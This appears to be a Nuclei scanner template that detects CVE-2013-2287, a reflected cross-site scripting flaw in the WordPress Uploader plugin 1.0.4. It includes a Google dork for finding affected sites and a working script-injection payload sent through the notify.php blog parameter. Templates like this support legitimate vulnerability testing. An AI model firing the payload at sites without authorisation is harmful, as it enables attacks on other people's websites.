id: CVE-2013-2287

info:
  name: WordPress Plugin Uploader 1.0.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting  vulnerabilities in views/notify.php in the Uploader plugin 1.0.4 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) notify or (2) blog parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Plugin Uploader or apply a patch provided by the vendor to fix the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-2287
    - https://www.dognaedis.com/vulns/DGS-SEC-16.html
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2013-2287
    cwe-id: CWE-79
    epss-score: 0.00219
    epss-percentile: 0.59251
    cpe: cpe:2.3:a:roberta_bramski:uploader:1.0.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: roberta_bramski
    product: uploader
    google-query: inurl:"/wp-content/plugins/uploader"
  tags: cve,cve2013,wordpress,xss,wp-plugin,roberta_bramski

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/uploader/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Uploader'
          - "Tags:"
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/uploader/views/notify.php?notify=unnotif&blog=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202164b09280ac9e1924ee544d73625fd749c8015fe8680a575c7dffda5863f6470221009100d6ff15c2a8d8c9c666b7b1bc7e9ef94c3b1f08024e4b5977c3627d98a900:922c64590222798bb761d5b6d8e72950